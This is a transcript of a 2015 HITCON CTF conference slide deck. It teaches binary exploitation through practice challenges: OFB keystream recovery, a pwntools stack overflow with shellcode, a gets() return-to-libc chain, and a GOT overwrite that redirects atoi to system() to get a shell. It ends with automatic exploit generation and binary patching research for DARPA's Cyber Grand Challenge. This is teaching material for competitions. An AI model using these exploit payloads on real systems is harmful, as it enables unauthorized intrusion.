Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CTF: Hello, World!

Nothing
December 05, 2015

CTF: Hello, World!

#CTF: Hello, World!
#講師:交通大學 黃世昆教授&海洋大學 黃俊穎副教授
#HITCON CTF Conference

Nothing

December 05, 2015
Tweet

More Decks by Nothing

Other Decks in Technology

Transcript

  1. CTF: Hello, World! HITCON 2015 CTF Conference Dec 5. –

    Dec 6., 2015 1 黃世昆 交通大學 Shih-Kun Huang <[email protected]> 黃俊穎 海洋大學 Chun-Ying Huang <[email protected]>
  2. If You Were a … Programmer Hacker Robot 除錯 修補

    清理 找錯 脅迫 操控 符號運算、機器學習 CRS: 自動推論系統 CTF CGC 3
  3. Outline • CTF and AIS3 Final CTF • CTF Server

    Setup • Simple Practices • Crypto • Pwn1 • Pwn3 • From CTF to CGC 4
  4. CTF • Type of CTFs • Jeopardy – Any type

    of problems • Attack and Defense – Pwn + Patch • King of the Hill – Pwn + Patch • AIS3 Final CTF • Jeopardy style • Misc, Binary, Pwn, Web, Crypto 5
  5. CTF Server Setup • Real server (Linux x64) + QEMU

    • Tricks for simple CTF • x86 or x64 • Disable stack protector • Allow code execution in stack • Disable ASLR $ gcc -m32 -fno-stack-protector -z execstack \ hello.c -o hello 6
  6. Simple Buffer Overflow • Outdated Implementation • Input "A" *

    20 7 int func1(int a, int b, int c) { char buffer[8]; // declare a character array of 8 bytes gets(buffer); // read user input string return 0; // return zero } buffer[8] 0x00000000 0xffffffff EBP ret-addr a Stack grows in this way b c Last Stack Frame Current Stack Frame ... ... 0x41414141 0x41414141 0x00000000 0xffffffff 0x41414141 0x41414141 0x41414141 Stack grows in this way b c Last Stack Frame Current Stack Frame ... ...
  7. Stack Protector • With Stack Protector • Input "A" *

    20 8 buffer[8] 0x00000000 0xffffffff EBP ret-addr a Stack grows in this way b c Last Stack Frame Current Stack Frame ... ... Canary (?) 0x41414141 0x41414141 0x00000000 0xffffffff 0x41414141 0x41414141 a Stack grows in this way b c Last Stack Frame Current Stack Frame ... ... 0x41414141
  8. Code Execution in Stack • Test if a binary enables

    code execution in stack • Enable code execution in stack (you may need the 'execstack' package) 9 $ execstack -c /path/to/myprog # disallow executable stack $ execstack -q /path/to/myprog - /path/to/myprog $ execstack -s /path/to/myprog # allow executable stack $ execstack -q /path/to/myprog X /path/to/myprog $ readelf –l /path/to/myprog.set | grep –i stack GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 $ readelf –l /path/to/myprog.clear | grep –i stack GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
  9. ASLR • Address Spaces Layout Randomization • Randomized address for

    heap and stack • Disable ASLR • Randomized stack spaces • Randomized heap and stack spaces (Ubuntu default) 10 echo 0 > /proc/sys/kernel/randomize_va_space echo 1 > /proc/sys/kernel/randomize_va_space echo 2 > /proc/sys/kernel/randomize_va_space
  10. ASLR (Cont’d) • Without ASLR (0) • With ASLR (1,

    2) 11 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffffd3ac m = 0x804b008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffffd3ac m = 0x804b008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffffd3ac m = 0x804b008 ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffdf6d8c m = 0x9b03008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xff86930c m = 0x9b1e008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xfff9b4bc m = 0x88f3008 char buf[64]; printf("main = %p\n", main); printf("gets = %p\n", gets); printf(" buf = %p\n", buf); printf(" m = %p\n", malloc(16));
  11. Misc. Issue – xinetd 12 service gagb { disable =

    no type = UNLISTED id = gagb socket_type = stream protocol = tcp user = gagb group = gagb wait = no server = /home/gagb/gagb port = 9192 }
  12. Misc. Issues – Buffering Mode • stdin/stdoutbuffering mode • Line

    buffered • Fully buffered • No buffered 13 setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
  13. Misc. Issues – Permissions • Disable access for … •

    Firewall setup • Default policy is DROP • Only allow required incoming ports • Disallow outgoing connections 14 chmod 751 / chmod 751 /etc chmod 750 /sbin chmod 750 /usr/sbin chmod 551 /proc chmod 551 /dev chmod 711 /home chmod 1773 /tmp ... cd $HOME chown root:$OWNER . binary flag chmod 550 . binary chmod 440 flag
  14. Simple Practices • A simple server for CTF: Hello, World!

    • 1 crypto and 2 pwns (flag @ /home/*/flag) • HITCON CTF Only: Accessible on Dec 5. and Dec 6. 15 http://54.xxx.yyy.zzz/fun.html PLEASE, PLEASE, PLEASE DON’T HACK OUR MACHINE ~>_<~
  15. Some Backgrounds • Programming in the UNIX (Linux) environment •

    A little bit x86 Assembly • Python • Pwntools • Patience 16
  16. cry2 – The Source Code 19 1: key = "XXXXXXXXXXXXXXXX”

    2: iv = ''.join(random.choice(string.hexdigits) for _ in range(16)) 3: flag = "ais3{NEVERPHDNEVERPHDNEVERPHD..}" # Not real flag ... 4: 5: def encrypt(p): 6: return AES.new(key, AES.MODE_OFB, iv).encrypt(p) ... 7: print encrypt(flag).encode("hex") 8: while True: ... 9: p = ''.join(random.choice(string.lowercase) for _ in range(32)) 10: print encrypt(p).encode("hex")
  17. cry2 –Output Feedback (OFB) Mode 20 Block Cipher Encryption (AES)

    Initial Vector (IV) Ciphertext Plaintext Key Block Cipher Encryption (AES) Ciphertext Plaintext Key Block Cipher Encryption (AES) Ciphertext Plaintext Key
  18. Block Cipher Encryption (AES) Initial Vector (IV) Ciphertext Plaintext Key

    cry2 – Misuse of OFB Mode 21 32-byte strings of lower alphabets Ciphertexts output from cry2 XOR-pad: a 32-byte string
  19. cry2 – Solution: Collecting Ciphers 22 9c5a8d2fb81dea8361493cc360865d7b7e8dcf342d8f17774af46a0332cc1e96 9c5f8668b630cbb1526f19ec5eba705d5db9ee1601a6395b78d3512713904091 89509274a62bc5b25e741bec55b86f5548b0fd0901a334587ed655390484449f 9057897db938cba5406b00e44ca9725d5dbee50410a9345177cf4c2a1884578e

    9b409578a926dfba507801ef42aa755d4ab2fd110db533557fde4f2607944480 8e549973aa30d5b74d7915ec40b17e4b4cb2ed121aa228487dc35d21108d4780 924a947bbb32deb2437e1ef148b07b424cb1f21e1da73e4569c9422e1a8a5581 855c9877a03cc8b14b6b1cf945a6684f5cb4f5141db136556dc94d2112815d91 90459a64a73bcbb345760afe4cb26f5f4dabfc100da430436dcb5939138c4280 8a5f966ea537daa1407509e54fa4715756aef81b1fa7244b6cd5582610834a80 9a51957db920c4b6506315e453bd7e4a57a5ee1b18b330457ec1503a078f5b98 ... 9b558a66b337dcb45d6d0fe457a5705752aaf4170fac345b62c74b3c1b874a9e 9b40966ba021dca3556b02fe50b068444ea9e81018b323447bc34a2900835699 9354946aa820c4b049631bfa5dab69434da6f0051aa73f4b66ce4b2715864784 This is what we really want to decode 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  20. cry2 – Use Pwntools • Pwntools • A good CTF

    framework implemented in python • https://github.com/Gallopsled/pwntools • Quick Installation Guide (Ubuntu) 23 $ sudo apt-get install binutils python-dev python-pip $ sudo pip install pwntools
  21. cry2 – Enumerate All Ciphertexts 24 1: #!/usr/bin/env python 2:

    from pwn import * 3: 4: #r = remote('54.xxx.yyy.zzz', 5566) 5: r = process("./src.py") 6: ciphers = [] 6: 7: while len(ciphers) < 100: 8: s = r.recvline().strip() 9: if len(s) == 64: 10: ciphers.append(s) 11: r.send('\n')
  22. cry2 – Pseudocodes to Obtain the XOR-Pad 25 Given c:

    The list containing n ciphertexts (except the first one) c = [ c1 , c2 , c3 , …, cn ] Suppose cu,v represents the vth byte in ciphertext cu , 1 ≤ u ≤ n pad = ""; for v = 1 to 32: for x = 0 to 255: if x XOR cu,v is a lowercase alphabet for all u in [1, n] pad = pad + x break use pad to decrypt the real ciphertext and obtain the flag
  23. cry2 – Security Practice • Correct use of cipher modes

    • Must be initialized with different IVs 26
  24. gagb – Solution • Eh … We have to guess

    the number first!! • Strategy #1: Play with the game • Pwntools: recv, send … try all possible combinations • Strategy #2: Use the random number trick • Remember we have: srand(time(0)) + rand()? • In python, we can do: 32 1: from ctypes import * 2: cdll.LoadLibrary("libc.so.6") 3: libc = CDLL("libc.so.6") 4: libc.srand(libc.time(0)) 5: print libc.rand();
  25. gagb – A Tricky Solution 33 1: r = process("./gagb");

    # this is from pwntools … 2: num = "" 3: while len(num) < 4: 4: while True: 5: d = chr(libc.rand() % 10 + 48) 6: if len(set(num + d)) == len(num + d): 7: num = num + d 8: break 9: print r.recv() 10: print num 11: r.send(num + '\n') 12: print r.recv() • Use ntpdateto synchronize your system clock • You may need to uncheck "Hardware Clock in UTC Time" if you are playing with VirtualBox or other virtual machines …
  26. gagb – The Overflow Part: Strategy #1 • The old

    tricks • You have to guess the stack address • Fill "A"*28 + addr + NOP*n + shellcode 34 context(arch = 'i386', os = 'linux') ... shell = asm(shellcraft.sh()) r.send('A'*28 + p32(0xffffdd70) + "\x90" * 400 + shell + "\n") r.interactive()
  27. gagb – The Overflow Part: Strategy #1 (Cont’d) 35 0x4141...41

    0x00000000 0xffffffff 0x41414141 Jump to stack Stack grows in this way ... ... 0x90909090 ... ... 0x90909090 shellcode s[24] 0x00000000 0xffffffff EBP ret-addr Stack grows in this way Last Stack Frame Current Stack Frame ... ...
  28. gagb – The Overflow Part: Strategy #2 (1/3) • We

    would not like to guess any more L • Ask 'gets()' to do something for us • Remember that 'gets()' requires one arguments – the address to store the user input string 36
  29. gagb – The Overflow Part: Strategy #2 (2/3) • We

    want the stack to looks like … 37 s[24] 0x00000000 0xffffffff EBP addr of gets() Stack grows in this way ... ... ret-addr argument #1 return addr after gets() address for gets() to fill garbage
  30. gagb – The Overflow Part: Strategy #2 (3/3) • gets@pltcan

    be obtained using objdump -d gagb • After gets() finished, the program jumps to the buffer that we have filled the shell code 38 r.send('A'*28 + p32(0x08048430) # gets@plt + p32(0x0804a034) + p32(0x0804a034) # any writable address + p32(0x12345678) * 100 + "\n") # garbage r.send(shell + "\n") # fill gets() buffer r.interactive() 08048430 <gets@plt>: 8048430: ff 25 0c a0 04 08 jmp *0x804a00c ; in GOT table 8048436: 68 00 00 00 00 push $0x0 804843b: e9 e0 ff ff ff jmp 8048420 <gets@plt-0x10>
  31. gagb – Security Practice • No more gets() • Use

    /dev/urandomor /dev/random • Or, alternatively, at least do 39 srand(time(0) ^ getpid());
  32. Practice: Pwn3 – phddb Host: 54.xxx.yyy.zzz Port: 3333 Hint: the

    binary, and the system C library Origin: angelboy @ ncu 40
  33. phddb – Feature Summary • Data stored in heap –

    use malloc() • dump • add • Allocate header first (32 bytes) • Allocate thesis-text according to the given length • edit • Modify header content • Reallocate thesis-text if necessary • remove 44 thesis text ... thesis text ... ... ... 0x00000000 0xffffffff name[20] age length *thesis name[20] age length *thesis Record #0 Record #1
  34. phddb – Solution (1/6) 46 1. Add two records 2.

    Edit records #0 3. Add one more record thesis text ... thesis text ... ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 thesis text ... freed ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 thesis text ... thesis text ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 name (ccc) age length (32) *thesis Record #2 Record #2
  35. phddb – Solution (2/6) • We want to know the

    real address of atoi in memory • We can then know the C library base • Real address of atoi minus atoi’s offset in C library • Use objdump -d libc.so.6 to get atoi’s offset • From objdump -d phddb, we got the GOT entry address for atoi is 0x804b03c 47 08048560 <atoi@plt>: 8048560: ff 25 3c b0 04 08 jmp *0x804b03c 8048566: 68 60 00 00 00 push $0x60 804856b: e9 20 ff ff ff jmp 8048490 <_init+0x30>
  36. phddb – Solution (3/6) • Edit record #0 • Fill

    thesis text using: • "A" * 24 • 0x20 (length) • 0x804b03c • GOT entry is a function pointer to the real address of a function (in .so) • Dump record #2 • Reveal atoi(?) 48 atoi (?) c99_scanf ... ... GOT 0x804b03c 0x804b038 0x804b040 thesis text ... thesis text ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 name (ccc) age length (32) *thesis Record #2 Record #2
  37. phddb – Solution (4/6) • The atoi’s real address is

    right after the third colon ':' (0x3a) • Note: It’s little endian 49 6e 61 6d 65 3a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 0a 61 67 65 3a 31 30 39 34 37 39 35 35 38 35 0a 74 68 65 73 69 73 3a 0a 60 95 e5 f7 0a 7c 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 48 44 64 62 20 4d 65 6e 75
  38. phddb – Solution (5/6) • Recall that the main function

    does read() + atoi() • We can replace atoi’s GOT entry value to any functionwe want to call • Replace atoi’s GOT entry value with the real address of system(), and then send 'sh\n' • Simple arithmetic • atoi‘s real address = 0xf7e59560 • atoi offset in C library = 0x31560 • system offset in C library = 0x3fcd0 • system’s real address= 0xf7e59560 – 0x31560 + 0x3fcd0 = 0xf7e67cd0 50
  39. phddb – Solution (6/6) • Edit record #0 • Fill

    thesis text using: • "A" * 24 • 0x20 (length) • 0xf7e67cd0 • read() + atoi() now becomes read() + system() • Send 'sh\n' 51 atoi (0xf7e59560) c99_scanf ... ... GOT 0x804b03c 0x804b038 0x804b040 thesis text ... thesis text ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 name (ccc) age length (32) *thesis Record #2 Record #2 system (0xf7e67cd0)
  40. From CTF to CGC • The Cyber War • Cyber

    Army • Capture The Flag (CTF) • Information security competition • Cyber Grand Challenge (CGC) • All-computer CTF tournament • Held by DARPA of US DoD with the DEFCON Conference in Las Vegas in 2016 55
  41. Objective • Build a Cyber Reasoning System(CRS) • Follow CGC

    rules • Automatic attack and defense • Automatic Attack • Analyze the program binary to find the failure • Generate exploit • Payload to bypass mitigation • Automatic Defense • Analyze the program to find the fault • Find the faulty point • Patch the fault in binary level 56
  42. CRS Integration for CGC - Attack • Target-aware Symbolic Fuzzing

    • Automatic Exploit Generation • Anti-Mitigation Payload Generation • Post Exploitation Integration Fuzzer 測、脅、隱、控
  43. CRS Integration for CGC - Defense • Fault Localization (path)

    • Data Slicing (data) • Patching Site Isolation 測、修、補、清
  44. Result – Compare with ROPgadget • ROPgadget: Common open source

    search and chain gadgets tool Tool Compare Exploit Strengthening ROPgadget Gadget Type Long/Short Gadgets Short Gadgets Payload Type Turing complete ROP Payload API One type payload Integrate CRAX + Metasploit
  45. Result – Compare with ROPgadget • Payload type: exevc(“/bin/sh”) Program

    Name Program Size Exploit Strengthening ROPgadget Total Gadgets Time Generate Payload Time Generate Payload gdb 7.7.1 4.9M 133K 36.2s True 278s True nautilus 3.10.1 1.4M 58K 13.9s True -- False gpg 1.4.16 971K 25K 5.5s True 17.1s True vim.tiny 7.4 806K 25K 5.0s True -- False lshw b.02.16 755K 8K 2.4s True -- False gcc 4.8 700K 4K 2.9s True 10.7s True objdump 2.24 333K 8K 1.4s True -- False readom 1.1.11 180K 4.9K 0.9s True -- False curl 7.35.0 149K 2.9K 0.7s True -- False factor 8.21 104K 2.3K 0.5s True -- False
  46. Method - Dstar algorithm • CF : Covered & Failed

    • CS : Covered & Successful • UF : Uncovered & Failed • US : Uncovered & Successful • Calculate the ranking from the formula : !"# $"%!& 69
  47. Method - Dynamic Slicing • An entire program tree →

    a path • We need more information for patching 70
  48. Method - Patching • According to the CGC rule, CRS

    must patch the binary program without source code • There are different tricks to patch different faults • We must analyze the type of fault before patching it • Our CRS is targeted at stack-based buffer overflow 72
  49. Evaluation • 24 challenge binaries (CB) for testing • The

    fault of types include : • CWE-121: Stack-based Buffer Overflow • CWE-122: Heap based Buffer Overflow • CWE-787: Out-of-bounds Write • CWE-476: NULL Pointer Dereference • …. • We choose the stack-based overflow CBs to evaluate our CRS. 73
  50. Evaluation - Summary Challenge id Fault type Method 1 Method

    2 Availability Security Availability Security CADET_00001 2 Success Success Success Success CROMU_00007 3 Failed Success Failed Failed KPRCA_00001 1 Failed Failed Success Success LUNGE_00005 3 Failed Failed Success Success NRFIN_00003 2 Success Success Failed Failed 74
  51. Evaluation - preliminary Scored Event Challenge id Availability Security Both

    Total CADET_00001 72 44 37 80 CROMU_00007 20 12 9 25 KPRCA_00001 126 121 116 139 LUNGE_00005 61 33 27 70 NRFIN_00003 58 24 9 79 75
  52. Conclusions • We propose an automatic binary patch method for

    CGC • Fault localization • Binary Patch • Our method can succeed in patching five challenge binaries • Only fail in one availability test • All security tests pass 76
  53. 相關系統 • CRAX • Automatic Exploit Generation (Non-Web 攻擊生成) •

    https://github.com/SQLab/CRAX • CRAXWeb • Web Exploit Generation (Web 攻擊生成) • https://github.com/SQLab/CRAXWeb • Ropchain (ROP bypassing ASLR, DEP payload 生成) • ROP Payload Generation • https://github.com/SQLab/ropchain • CRAXfuzz • Symbolic Fuzzing Framework (符號形式之模糊測試) • CRAXcrs • Automatic Defense by Fault Localization and Dynamic Patch (錯誤定位與自動修補達成自動化 防禦) 77